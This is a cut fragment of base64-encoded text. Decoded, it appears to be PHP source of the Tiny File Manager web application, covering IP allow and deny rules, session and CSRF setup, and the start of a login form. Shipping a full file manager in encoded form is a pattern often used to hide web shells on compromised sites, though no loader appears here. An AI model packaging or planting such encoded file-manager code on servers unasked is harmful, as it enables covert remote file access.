lcyA9IDIwMDAwMDA7IC8vIGNodW5rIHNpemUgMiwwMDAsMDAwIGJ5dGVzICh+Mk1CKQoKLy8gUG9zc2libGUgcnVsZXMgYXJlICdPRkYnLCAnQU5EJyBvciAnT1InCi8vIE9GRiA9PiBEb24ndCBjaGVjayBjb25uZWN0aW9uIElQLCBkZWZhdWx0cyB0byBPRkYKLy8gQU5EID0+IENvbm5lY3Rpb24gbXVzdCBiZSBvbiB0aGUgd2hpdGVsaXN0LCBhbmQgbm90IG9uIHRoZSBibGFja2xpc3QKLy8gT1IgPT4gQ29ubmVjdGlvbiBtdXN0IGJlIG9uIHRoZSB3aGl0ZWxpc3QsIG9yIG5vdCBvbiB0aGUgYmxhY2tsaXN0CiRpcF9ydWxlc2V0ID0gJ09GRic7CgovLyBTaG91bGQgdXNlcnMgYmUgbm90aWZpZWQgb2YgdGhlaXIgYmxvY2s/CiRpcF9zaWxlbnQgPSB0cnVlOwoKLy8gSVAtYWRkcmVzc2VzLCBib3RoIGlwdjQgYW5kIGlwdjYKJGlwX3doaXRlbGlzdCA9IGFycmF5KAogICAgJzEyNy4wLjAuMScsICAgIC8vIGxvY2FsIGlwdjQKICAgICc6OjEnICAgICAgICAgICAvLyBsb2NhbCBpcHY2Cik7CgovLyBJUC1hZGRyZXNzZXMsIGJvdGggaXB2NCBhbmQgaXB2NgokaXBfYmxhY2tsaXN0ID0gYXJyYXkoCiAgICAnMC4wLjAuMCcsICAgICAgLy8gbm9uLXJvdXRhYmxlIG1ldGEgaXB2NAogICAgJzo6JyAgICAgICAgICAgIC8vIG5vbi1yb3V0YWJsZSBtZXRhIGlwdjYKKTsKCi8vIGlmIFVzZXIgaGFzIHRoZSBleHRlcm5hbCBjb25maWcgZmlsZSwgdHJ5IHRvIHVzZSBpdCB0byBvdmVycmlkZSB0aGUgZGVmYXVsdCBjb25maWcgYWJvdmUgW2NvbmZpZy5waHBdCi8vIHNhbXBsZSBjb25maWcgLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vY29uZmlnLXNhbXBsZS50eHQKJGNvbmZpZ19maWxlID0gX19ESVJfXy4nL2NvbmZpZy5waHAnOwppZiAoaXNfcmVhZGFibGUoJGNvbmZpZ19maWxlKSkgewogICAgQGluY2x1ZGUoJGNvbmZpZ19maWxlKTsKfQoKLy8gRXh0ZXJuYWwgQ0ROIHJlc291cmNlcyB0aGF0IGNhbiBiZSB1c2VkIGluIHRoZSBIVE1MIChyZXBsYWNlIGZvciBHRFBSIGNvbXBsaWFuY2UpCiRleHRlcm5hbCA9IGFycmF5KAogICAgJ2Nzcy1ib290c3RyYXAnID0+ICc8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMi9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpbnRlZ3JpdHk9InNoYTM4NC1aZW5oODdxWDVKbksySmwwdldhOENrMnJka1EyQnplcDVJRHhiY25DZXVPeGp6clBGL2V0M1VSeTlCdjFXVFJpIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4nLAogICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2Ryb3B6b25lLzUuOS4zL21pbi9kcm9wem9uZS5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiPicsCiAgICAnY3NzLWZvbnQtYXdlc29tZScgPT4gJzxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+JywKICAgICdjc3MtaGlnaGxpZ2h0anMnID0+ICc8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMS42LjAvc3R5bGVzLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3MiPicsCiAgICAnanMtYWNlJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FjZS8xLjEzLjEvYWNlLmpzIj48L3NjcmlwdD4nLAogICAgJ2pzLWJvb3RzdHJhcCcgPT4gJzxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMi9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1PRVJjQTJFcWpKQ01BKy8zeStneElPcU1Fand0eEpZN3FQQ3FzZGx0Yk5KdWFPZTkyMyttby8vZjZWOFFic3czIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLAogICAgJ2pzLWRyb3B6b25lJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2Ryb3B6b25lLzUuOS4zL21pbi9kcm9wem9uZS5taW4uanMiPjwvc2NyaXB0PicsCiAgICAnanMtanF1ZXJ5JyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjYuMS5taW4uanMiIGludGVncml0eT0ic2hhMjU2LW84OEF3UW5aQitWRHZFOXR2SVhyTVFhUGxGRlNVVFIrbmxkUW0xTHVQWFE9IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLAogICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmRhdGF0YWJsZXMubmV0LzEuMTMuMS9qcy9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanMiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIGRlZmVyPjwvc2NyaXB0PicsCiAgICAnanMtaGlnaGxpZ2h0anMnID0+ICc8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvaGlnaGxpZ2h0LmpzLzExLjYuMC9oaWdobGlnaHQubWluLmpzIj48L3NjcmlwdD4nLAogICAgJ3ByZS1qc2RlbGl2cicgPT4gJzxsaW5rIHJlbD0icHJlY29ubmVjdCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0IiBjcm9zc29yaWdpbi8+PGxpbmsgcmVsPSJkbnMtcHJlZmV0Y2giIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldCIvPicsCiAgICAncHJlLWNsb3VkZmxhcmUnID0+ICc8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20iIGNyb3Nzb3JpZ2luLz48bGluayByZWw9ImRucy1wcmVmZXRjaCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbSIvPicKKTsKCi8vIC0tLSBFRElUIEJFTE9XIENBUkVGVUxMWSBPUiBETyBOT1QgRURJVCBBVCBBTEwgLS0tCgovLyBtYXggdXBsb2FkIGZpbGUgc2l6ZQpkZWZpbmUoJ01BWF9VUExPQURfU0laRScsICRtYXhfdXBsb2FkX3NpemVfYnl0ZXMpOwoKLy8gdXBsb2FkIGNodW5rIHNpemUKZGVmaW5lKCdVUExPQURfQ0hVTktfU0laRScsICR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyk7CgovLyBwcml2YXRlIGtleSBhbmQgc2Vzc2lvbiBuYW1lIHRvIHN0b3JlIHRvIHRoZSBzZXNzaW9uCmlmICggIWRlZmluZWQoICdGTV9TRVNTSU9OX0lEJykpIHsKICAgIGRlZmluZSgnRk1fU0VTU0lPTl9JRCcsICdmaWxlbWFuYWdlcicpOwp9CgovLyBDb25maWd1cmF0aW9uCiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7CgovLyBEZWZhdWx0IGxhbmd1YWdlCiRsYW5nID0gaXNzZXQoJGNmZy0+ZGF0YVsnbGFuZyddKSA/ICRjZmctPmRhdGFbJ2xhbmcnXSA6ICdlbic7CgovLyBTaG93IG9yIGhpZGUgZmlsZXMgYW5kIGZvbGRlcnMgdGhhdCBzdGFydHMgd2l0aCBhIGRvdAokc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlOwoKLy8gUEhQIGVycm9yIHJlcG9ydGluZyAtIGZhbHNlID0gVHVybnMgb2ZmIEVycm9ycywgdHJ1ZSA9IFR1cm5zIG9uIEVycm9ycwokcmVwb3J0X2Vycm9ycyA9IGlzc2V0KCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddKSA/ICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddIDogdHJ1ZTsKCi8vIEhpZGUgUGVybWlzc2lvbnMgYW5kIE93bmVyIGNvbHMgaW4gZmlsZS1saXN0aW5nCiRoaWRlX0NvbHMgPSBpc3NldCgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSkgPyAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA6IHRydWU7CgovLyBUaGVtZQokdGhlbWUgPSBpc3NldCgkY2ZnLT5kYXRhWyd0aGVtZSddKSA/ICRjZmctPmRhdGFbJ3RoZW1lJ10gOiAnbGlnaHQnOwoKZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7CgovL2F2YWlsYWJsZSBsYW5ndWFnZXMKJGxhbmdfbGlzdCA9IGFycmF5KAogICAgJ2VuJyA9PiAnRW5nbGlzaCcKKTsKCmlmICgkcmVwb3J0X2Vycm9ycyA9PSB0cnVlKSB7CiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgRV9BTEwpOwogICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7Cn0gZWxzZSB7CiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgRV9BTEwpOwogICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7Cn0KCi8vIGlmIGZtIGluY2x1ZGVkCmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7CiAgICAkdXNlX2F1dGggPSBmYWxzZTsKICAgICRzdGlja3lfbmF2YmFyID0gZmFsc2U7Cn0gZWxzZSB7CiAgICBAc2V0X3RpbWVfbGltaXQoNjAwKTsKCiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTsKCiAgICBpbmlfc2V0KCdkZWZhdWx0X2NoYXJzZXQnLCAnVVRGLTgnKTsKICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7CiAgICAgICAgbWJfaW50ZXJuYWxfZW5jb2RpbmcoJ1VURi04Jyk7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7CiAgICAgICAgbWJfcmVnZXhfZW5jb2RpbmcoJ1VURi04Jyk7CiAgICB9CgogICAgc2Vzc2lvbl9jYWNoZV9saW1pdGVyKCdub2NhY2hlJyk7IC8vIFByZXZlbnQgbG9nb3V0IGlzc3VlIGFmdGVyIHBhZ2Ugd2FzIGNhY2hlZAogICAgc2Vzc2lvbl9uYW1lKEZNX1NFU1NJT05fSUQgKTsKICAgIGZ1bmN0aW9uIHNlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24oJGNvZGUsICRtc2csICRmaWxlLCAkbGluZSkgewogICAgICAgIC8vIFBlcm1pc3Npb24gZGVuaWVkIGZvciBkZWZhdWx0IHNlc3Npb24sIHRyeSB0byBjcmVhdGUgYSBuZXcgb25lCiAgICAgICAgaWYgKCRjb2RlID09IDIpIHsKICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpOwogICAgICAgICAgICBzZXNzaW9uX2lkKHNlc3Npb25fY3JlYXRlX2lkKCkpOwogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOwogICAgICAgIH0KICAgIH0KICAgIHNldF9lcnJvcl9oYW5kbGVyKCdzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uJyk7CiAgICBzZXNzaW9uX3N0YXJ0KCk7CiAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKfQoKLy9HZW5lcmF0aW5nIENTUkYgVG9rZW4KaWYgKGVtcHR5KCRfU0VTU0lPTlsndG9rZW4nXSkpIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3JhbmRvbV9ieXRlcycpKSB7CiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTsKICAgIH0gZWxzZSB7CiAgICAJJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoMzIpKTsKICAgIH0KfQoKaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkgewogICAgJHVzZV9hdXRoID0gZmFsc2U7Cn0KCiRpc19odHRwcyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAoJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJyB8fCAkX1NFUlZFUlsnSFRUUFMnXSA9PSAxKQogICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnOwoKLy8gdXBkYXRlICRyb290X3VybCBiYXNlZCBvbiB1c2VyIHNwZWNpZmljIGRpcmVjdG9yaWVzCmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkgewogICAgJHdkID0gZm1fY2xlYW5fcGF0aChkaXJuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSk7CiAgICAkcm9vdF91cmwgPSAgJHJvb3RfdXJsLiR3ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXTsKfQovLyBjbGVhbiAkcm9vdF91cmwKJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpOwoKLy8gYWJzIHBhdGggZm9yIHNpdGUKZGVmaW5lZCgnRk1fUk9PVF9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1JPT1RfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gKCFlbXB0eSgkcm9vdF91cmwpID8gJy8nIC4gJHJvb3RfdXJsIDogJycpKTsKZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoKLy8gbG9nb3V0CmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7CiAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsKICAgIHVuc2V0KCAkX1NFU1NJT05bJ3Rva2VuJ10pOyAKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKfQoKLy8gVmFsaWRhdGUgY29ubmVjdGlvbiBJUAppZiAoJGlwX3J1bGVzZXQgIT0gJ09GRicpIHsKICAgIGZ1bmN0aW9uIGdldENsaWVudElQKCkgewogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICAkX1NFUlZFUlsiSFRUUF9DRl9DT05ORUNUSU5HX0lQIl07CiAgICAgICAgfWVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfWF9GT1JXQVJERURfRk9SJywgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfRk9SIl07CiAgICAgICAgfWVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ1JFTU9URV9BRERSJywgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgIHJldHVybiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICAgICB9ZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9DTElFTlRfSVAnLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydIVFRQX0NMSUVOVF9JUCddOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgJGNsaWVudElwID0gZ2V0Q2xpZW50SVAoKTsKICAgICRwcm9jZWVkID0gZmFsc2U7CiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpOwogICAgJGJsYWNrbGlzdGVkID0gaW5fYXJyYXkoJGNsaWVudElwLCAkaXBfYmxhY2tsaXN0KTsKCiAgICBpZigkaXBfcnVsZXNldCA9PSAnQU5EJyl7CiAgICAgICAgaWYoJHdoaXRlbGlzdGVkID09IHRydWUgJiYgJGJsYWNrbGlzdGVkID09IGZhbHNlKXsKICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlOwogICAgICAgIH0KICAgIH0gZWxzZQogICAgaWYoJGlwX3J1bGVzZXQgPT0gJ09SJyl7CiAgICAgICAgIGlmKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSl7CiAgICAgICAgICAgICRwcm9jZWVkID0gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgaWYoJHByb2NlZWQgPT0gZmFsc2UpewogICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpOwoKICAgICAgICBpZigkaXBfc2lsZW50ID09IGZhbHNlKXsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FjY2VzcyBkZW5pZWQuIElQIHJlc3RyaWN0aW9uIGFwcGxpY2FibGUnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7CiAgICAgICAgICAgIGZtX3Nob3dfbWVzc2FnZSgpOwogICAgICAgIH0KICAgICAgICBleGl0KCk7CiAgICB9Cn0KCi8vIENoZWNraW5nIGlmIHRoZSB1c2VyIGlzIGxvZ2dlZCBpbiBvciBub3QuIElmIG5vdCwgaXQgd2lsbCBzaG93IHRoZSBsb2dpbiBmb3JtLgppZiAoJHVzZV9hdXRoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pKSB7CiAgICAgICAgLy8gTG9nZ2VkCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV91c3InXSwgJF9QT1NUWydmbV9wd2QnXSwgJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIC8vIExvZ2dpbmcgSW4KICAgICAgICBzbGVlcCgxKTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N3b3JkX3ZlcmlmeScpKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkYXV0aF91c2Vyc1skX1BPU1RbJ2ZtX3VzciddXSkgJiYgaXNzZXQoJF9QT1NUWydmbV9wd2QnXSkgJiYgcGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsnZm1fcHdkJ10sICRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiB2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdZb3UgYXJlIGxvZ2dlZCBpbicpKTsKICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0xvZ2luIGZhaWxlZC4gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCcpLCAnZXJyb3InKTsKICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7OwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgLy8gRm9ybQogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7CiAgICAgICAgPz4KICAgICAgICA8c2VjdGlvbiBjbGFzcz0iaC0xMDAiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgaC0xMDAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1tZC1jZW50ZXIgaC0xMDAiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgZmF0IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9ImZvcm0tc2lnbmluIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJicmFuZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPSIxLjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgTTEwMDggd2lkdGg9IjEwMCUiIGhlaWdodD0iODBweCIgdmlld0JveD0iMCAwIDIzOC4wMDAwMDAgMTQwLjAwMDAwMCIgYXJpYS1sYWJlbD0iSDNLIFRpbnkgRmlsZSBNYW5hZ2VyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKSIgZmlsbD0iIzAwMDAwMCIgc3Ryb2tlPSJub25lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNjAgNzAwIGwwIC02MDAgMTEwIDAgMTEwIDAgMCAyNjAgMCAyNjAgNzAgMCA3MCAwIDAgLTI2MCAwIC0yNjAgMTEwIDAgMTEwIDAgMCA2MDAgMCA2MDAgLTExMCAwIC0xMTAgMCAwIC0yNjAgMCAtMjYwIC03MCAwIC03MCAwIDAgMjYwIDAgMjYwIC0xMTAgMCAtMTEwIDAgMCAtNjAweiIvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZmlsbD0iIzAwMzUwMCIgZD0iTTEwMDggMTIyNyBsLTEwOCAtNzIgMCAtMTE3IDAgLTExOCAxMTAgMCAxMTAgMCAwIDExMCAwIDExMCA3MCAwIDcwIDAgMCAtMTgwIDAgLTE4MCAtMTI1IDAgYy02OSAwIC0xMjUgLTMgLTEyNSAtNiAwIC0zIDIzIC0zOSA1MiAtODAgbDUyIC03NCA3MyAwIDczIDAgMCAtMTg1IDAgLTE4NSAtNzAgMCAtNzAgMCAwIDExNSAwIDExNSAtMTEwIDAgLTExMCAwIDAgLTE5MCAwIC0xOTAgMTgxIDAgMTgxIDAgMTA5IDczIDEwOCA3MiAxIDE4MSAwIDE4MSAtNjkgNDggLTY4IDQ5IDY4IDUwIDY5IDQ5IDAgMjQ5IDAgMjQ4IC0xODIgLTEgLTE4MyAwIC0xMDcgLTcyeiIvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTE2NDAgNzAwIGwwIC02MDAgMTEwIDAgMTEwIDAgMCAyMDggMCAyMDggMzUgMzQgMzUgMzQgMzUgLTM0IDM1IC0zNCAwIC0yMDggMCAtMjA4IDExMCAwIDExMCAwIDAgMjEyIDAgMjEzIC04NyA4NyAtODggODggODggODggODcgODcgMCAyMTMgMCAyMTIgLTExMCAwIC0xMTAgMCAwIC0yMDggMCAtMjA4IC03MCAtNjkgLTcwIC02OSAwIDI3NyAwIDI3NyAtMTEwIDAgLTExMCAwIDAgLTYwMHoiLz48L2c+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImNhcmQtdGl0bGUiPjw/cGhwIGVjaG8gQVBQX1RJVExFOyA/PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImZtX3VzciIgY2xhc3M9InBiLTIiPjw/cGhwIGVjaG8gbG5nKCdVc2VybmFtZScpOyA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3VzciIgbmFtZT0iZm1fdXNyIiByZXF1aXJlZCBhdXRvZm9jdXM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV9wd2QiIGNsYXNzPSJwYi0yIj48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKTsgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0iZm1fcHdkIiBuYW1lPSJmbV9wd2QiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm1fc2hvd19tZXNzYWdlKCk